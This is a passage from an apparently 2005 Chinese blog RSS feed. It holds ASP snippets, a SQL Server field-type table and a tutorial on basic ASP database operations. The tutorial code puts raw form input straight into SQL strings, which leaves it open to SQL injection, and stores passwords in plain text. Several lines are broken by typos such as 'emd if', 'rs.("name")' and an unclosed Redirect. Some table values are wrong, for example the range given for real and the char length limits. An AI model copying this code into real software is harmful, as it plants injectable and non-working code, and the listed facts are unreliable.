onclick=&#34;{if(confirm(&#39;删除将包括该路径下的所有信息，确定删除吗?&#39;)){return&nbsp; true;}return&nbsp; false;}&#34;&gt;删除&lt;/a&gt;</P><P> <BR> Response.Write&nbsp; (&#34;&lt;Script&nbsp; language=JavaScript&gt;alert(&#39;您没有管理的权限，请确认你是否登录!&#39;);window.history.go(-1);&lt;/Script&gt;&#34;)&nbsp; :Response.End</P><P> <BR> Response.Write&nbsp; (&#34;&lt;Script&nbsp; language=JavaScript&gt;alert(&#39;注册成功，现在返回首页!&#39;);window.location.href=&#39;index.asp&#39;;&lt;/Script&gt;&#34;)&nbsp; :Response.End</P><P> <BR> response.redirect&nbsp; request.servervariables(&#34;HTTP_REFERER&#34;)&nbsp; </P><P> <BR> </div></P><P> <BR> 以下为SQL&nbsp; SERVER7.0以上版本的字段类型说明。SQL&nbsp; SERVER6.5的字段类型说明请参考SQL&nbsp; SERVER提供的说明。</P><P> <div class='code'>字段类型&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 描述&nbsp; <BR> bit&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0或1的整型数字&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 值为&nbsp; Yes&nbsp; 和&nbsp; No，并且该字段只能取这两个值中的一个。<BR> int&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 从-2^31(-2,147,483,648)到2^31(2,147,483,647)的整型数字&nbsp; <BR> smallint&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 从-2^15(-32,768)到2^15(32,767)的整型数字&nbsp; <BR> tinyint&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 从0到255的整型数字&nbsp; </P><P> decimal&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 从-10^38到10^38-1的定精度与有效位数的数字&nbsp; <BR> numeric&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; decimal的同义词&nbsp; </P><P> money&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 从-2^63(-922,337,203,685,477.5808)到2^63-1(922,337,203,685,477.5807)的货币数据，最小货币单位千分之十&nbsp; <BR> smallmoney&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 从-214,748.3648到214,748.3647的货币数据，最小货币单位千分之十&nbsp; </P><P> float&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 从-1.79E+308到1.79E+308可变精度的数字&nbsp; <BR> real&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 从-3.04E+38到3.04E+38可变精度的数字&nbsp; </P><P> datetime&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 从1753年1月1日到9999年12日31的日期和时间数据，最小时间单位为百分之三秒或3.33毫秒&nbsp; <BR> smalldatetime&nbsp; &nbsp; &nbsp; &nbsp; 从1900年1月1日到2079年6月6日的日期和时间数据，最小时间单位为分钟&nbsp; </P><P> timestamp&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 时间戳，一个数据库宽度的唯一数字&nbsp; <BR> uniqueidentifier&nbsp; &nbsp; &nbsp; &nbsp; 全球唯一标识符GUID&nbsp; </P><P> char&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 定长非Unicode的字符型数据，最大长度为8000&nbsp; CHAR(x)是定长字符串。长度属性&nbsp; x&nbsp; 必须在&nbsp; 1&nbsp; 和&nbsp; 254&nbsp; 之间，并包括&nbsp; 1&nbsp; 和&nbsp; 254。&nbsp; <BR> varchar&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 变长非Unicode的字符型数据，最大长度为8000&nbsp; <BR> text&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 变长非Unicode的字符型数据，最大长度为2^31-1(2G)&nbsp; </P><P> nchar&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 定长Unicode的字符型数据，最大长度为8000&nbsp; <BR> nvarchar&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 变长Unicode的字符型数据，最大长度为8000&nbsp; <BR> ntext&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 变长Unicode的字符型数据，最大长度为2^31-1(2G)&nbsp; </P><P> binary&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 定长二进制数据，不进行数据转换,最大长度为8000&nbsp; 数据怎样输入到二进制字段就怎样作为输出显示.<BR> varbinary&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 变长二进制数据，最大长度为8000&nbsp; <BR> image&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 变长二进制数据，最大长度为2^31-1(2G)&nbsp; </div></P><P> [redface]]]></description>
    </item>
    <item>
      <link>http://max.cszi.com/Blog/Blog.aspx?Id=117</link>
      <title><![CDATA[叶子的分页类！]]></title>
      <author>一线风</author>
      <category>程序开发</category>
      <pubDate>2005-3-31 20:23:13</pubDate>
      <guid>http://max.cszi.com/Blog/Blog.aspx?Id=117</guid>
      <comments>
              /Blog/Blog.aspx?Id=117#commentbox
            </comments>
      <description><![CDATA[用得上的～还可以学习，传上来</P><P> <BR> <img src="Images/FileType/rar.gif" align="absmiddle" /> <a href="Upload/2005_03/fc5j_Pages.rar" target="_blank">点击下载此文件</a></P><P> <img src='Images\emot\em06.gif' border='0' />]]></description>
    </item>
    <item>
      <link>http://max.cszi.com/Blog/Blog.aspx?Id=114</link>
      <title><![CDATA[ASP数据库简单操作教程]]></title>
      <author>一线风</author>
      <category>程序开发</category>
      <pubDate>2005-3-31 13:33:54</pubDate>
      <guid>http://max.cszi.com/Blog/Blog.aspx?Id=114</guid>
      <comments>
              /Blog/Blog.aspx?Id=114#commentbox
            </comments>
      <description><![CDATA[&lt;1&gt;.数据库连接(用来单独编制连接文件conn.asp)<BR> &nbsp; &lt;%<BR> &nbsp; &nbsp; Set&nbsp; conn&nbsp; =&nbsp; Server.CreateObject(&#34;ADODB.Connection&#34;)<BR> &nbsp; &nbsp; conn.Open&nbsp; &#34;DRIVER={Microsoft&nbsp; Access&nbsp; Driver&nbsp; (*.mdb)};&nbsp; DBQ=&#34;&nbsp; &amp;&nbsp; Server.MapPath(&#34;\bbs\db1\user.mdb&#34;)&nbsp; <BR> &nbsp; %&gt;<BR> (用来连接bbs\db1\目录下的user.mdb数据库)<BR> &lt;2&gt;显示数据库记录<BR> &nbsp; &nbsp; 原理：将数据库中的记录一一显示到客户端浏览器，依次读出数据库中的每一条记录<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 如果是从头到尾：用循环并判断指针是否到末&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 使用:&nbsp; not&nbsp; rs.eof<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 如果是从尾到头：用循环并判断指针是否到开始&nbsp; &nbsp; &nbsp; &nbsp; 使用：not&nbsp; rs.bof<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;!--#include&nbsp; file=conn.asp--&gt;&nbsp; &nbsp; &nbsp; &nbsp; (包含conn.asp用来打开bbs\db1\目录下的user.mdb数据库)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;%<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; set&nbsp; rs=server.CreateObject(&#34;adodb.recordset&#34;)&nbsp; &nbsp; (建立recordset对象)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sqlstr=&#34;select&nbsp; *&nbsp; from&nbsp; message&#34;&nbsp; &nbsp; ----&gt;(message为数据库中的一个数据表，即你要显示的数据所存放的数据表)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rs.open&nbsp; sqlstr,conn,1,3&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ----&gt;(表示打开数据库的方式)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rs.movefirst&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ----&gt;(将指针移到第一条记录)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; while&nbsp; not&nbsp; rs.eof&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ----&gt;(判断指针是否到末尾)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; response.write(rs(&#34;name&#34;))&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ----&gt;(显示数据表message中的name字段)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rs.movenext&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ----&gt;(将指针移动到下一条记录)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; wend&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ----&gt;(循环结束)<BR> ------------------------------------------------------&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rs.close<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; conn.close&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 这几句是用来关闭数据库<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; set&nbsp; rs=nothing<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; set&nbsp; conn=nothing<BR> -------------------------------------------------------<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; %&gt;<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 其中response对象是服务器向客户端浏览器发送的信息<BR> &lt;3&gt;增加数据库记录<BR> &nbsp; 增加数据库记录用到rs.addnew,rs.update两个函数<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;!--#include&nbsp; file=conn.asp--&gt;&nbsp; &nbsp; &nbsp; &nbsp; (包含conn.asp用来打开bbs\db1\目录下的user.mdb数据库)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;%<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; set&nbsp; rs=server.CreateObject(&#34;adodb.recordset&#34;)&nbsp; &nbsp; (建立recordset对象)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sqlstr=&#34;select&nbsp; *&nbsp; from&nbsp; message&#34;&nbsp; &nbsp; ----&gt;(message为数据库中的一个数据表，即你要显示的数据所存放的数据表)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rs.open&nbsp; sqlstr,conn,1,3&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ----&gt;(表示打开数据库的方式)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rs.addnew&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 新增加一条记录<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rs(&#34;name&#34;)=&#34;xx&#34;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 将xx的值传给name字段<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rs.update&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 刷新数据库&nbsp; <BR> ------------------------------------------------------&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rs.close<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; conn.close&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 这几句是用来关闭数据库<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; set&nbsp; rs=nothing<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; set&nbsp; conn=nothing<BR> -------------------------------------------------------&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; %&gt;<BR> &lt;4&gt;删除一条记录<BR> &nbsp; &nbsp; 删除数据库记录主要用到rs.delete,rs.update<BR> &nbsp; &nbsp; &nbsp; &lt;!--#include&nbsp; file=conn.asp--&gt;&nbsp; &nbsp; &nbsp; &nbsp; (包含conn.asp用来打开bbs\db1\目录下的user.mdb数据库)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;%<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; dim&nbsp; name<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; name=&#34;xx&#34;<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; set&nbsp; rs=server.CreateObject(&#34;adodb.recordset&#34;)&nbsp; &nbsp; (建立recordset对象)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sqlstr=&#34;select&nbsp; *&nbsp; from&nbsp; message&#34;&nbsp; &nbsp; ----&gt;(message为数据库中的一个数据表，即你要显示的数据所存放的数据表)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rs.open&nbsp; sqlstr,conn,1,3&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ----&gt;(表示打开数据库的方式)<BR> -------------------------------------------------------&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; while&nbsp; not&nbsp; rs.eof<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if&nbsp; rs.(&#34;name&#34;)=name&nbsp; then<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rs.delete<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rs.update&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 查询数据表中的name字段的值是否等于变量name的值&#34;xx&#34;，如果符合就执行删除，<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 否则继续查询,直到指针到末尾为止<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rs.movenext<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; emd&nbsp; if<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; wend<BR> ------------------------------------------------------<BR> ------------------------------------------------------&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rs.close<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; conn.close&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 这几句是用来关闭数据库<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; set&nbsp; rs=nothing<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; set&nbsp; conn=nothing<BR> -------------------------------------------------------&nbsp; <BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; %&gt;<BR> &lt;5&gt;关于数据库的查询<BR> &nbsp; &nbsp; (a)&nbsp; 查询字段为字符型<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;%<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; dim&nbsp; user,pass,qq,mail,message<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; user=request.Form(&#34;user&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pass=request.Form(&#34;pass&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; qq=request.Form(&#34;qq&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mail=request.Form(&#34;mail&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; message=request.Form(&#34;message&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if&nbsp; trim(user)&amp;&#34;x&#34;=&#34;x&#34;&nbsp; or&nbsp; trim(pass)&amp;&#34;x&#34;=&#34;x&#34;&nbsp; then&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (检测user值和pass值是否为空，可以检测到空格)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; response.write(&#34;注册信息不能为空&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; set&nbsp; rs=server.CreateObject(&#34;adodb.recordset&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sqlstr=&#34;select&nbsp; *&nbsp; from&nbsp; user&nbsp; where&nbsp; user=&#39;&#34;&amp;user&amp;&#34;&#39;&#34;&nbsp; &nbsp; &nbsp; &nbsp; (查询user数据表中的user字段其中user字段为字符型)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rs.open&nbsp; sqlstr,conn,1,3<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if&nbsp; &nbsp; rs.eof&nbsp; then<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rs.addnew<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rs(&#34;user&#34;)=user<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rs(&#34;pass&#34;)=pass<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rs(&#34;qq&#34;)=qq<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rs(&#34;mail&#34;)=mail<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rs(&#34;message&#34;)=message<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rs.update<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rs.close<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; conn.close<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; set&nbsp; rs=nothing<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; set&nbsp; conn=nothing<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; response.write(&#34;注册成功&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end&nbsp; if&nbsp; <BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rs.close<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; conn.close<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; set&nbsp; rs=nothing<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; set&nbsp; conn=nothing<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; response.write(&#34;注册重名&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; %&gt;<BR> &nbsp; &nbsp; (b)查询字段为数字型<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;%<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; dim&nbsp; num<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; num=request.Form(&#34;num&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; set&nbsp; rs=server.CreateObject(&#34;adodb.recordset&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sqlstr=&#34;select&nbsp; *&nbsp; from&nbsp; message&nbsp; where&nbsp; id=&#34;&amp;num&nbsp; &nbsp; &nbsp; (查询message数据表中id字段的值是否与num相等，其中id为数字型)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rs.open&nbsp; sqlstr,conn,1,3<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if&nbsp; not&nbsp; rs.eof&nbsp; then<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rs.delete<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rs.update<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rs.close<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; conn.close<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; set&nbsp; rs=nothing<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; set&nbsp; conn=nothing<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; response.write(&#34;删除成功&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end&nbsp; if<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rs.close<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; conn.close<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; set&nbsp; rs=nothing<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; set&nbsp; conn=nothing<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; response.write(&#34;删除失败&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; %&gt;<BR> &lt;6&gt;几个简单的asp对象的讲解<BR> &nbsp; &nbsp; &nbsp; response对象:服务器端向客户端发送的信息对象,包括直接发送信息给浏览器,重新定向URL，或设置cookie值<BR> &nbsp; &nbsp; &nbsp; request对象:客户端向服务器提出的请求<BR> &nbsp; &nbsp; &nbsp; session对象:作为一个全局变量，在整个站点都生效<BR> &nbsp; &nbsp; &nbsp; server对象：提供对服务器上方法和属性的访问&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <BR> (a)&nbsp; response对象的一般使用方法<BR> &nbsp; &nbsp; &nbsp; &nbsp; 比如：<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;%<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; resposne.write(&#34;hello,&nbsp; welcome&nbsp; to&nbsp; asp!&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; %&gt;<BR> &nbsp; &nbsp; &nbsp; &nbsp; 在客户端浏览器就会看到&nbsp; &nbsp; hello,&nbsp; welcome&nbsp; to&nbsp; asp!&nbsp; 这一段文字<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;%<BR> &nbsp; response.Redirect(www.sohu.com&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; %&gt;<BR> &nbsp; &nbsp; &nbsp; &nbsp; 如果执行这一段，则浏览器就会自动连接到&nbsp; “搜狐”&nbsp; 的网址<BR> &nbsp; &nbsp; 关于response对象的用法还有很多，大家可以研究研究<BR> &nbsp; &nbsp; request对象的一般使用方法<BR> 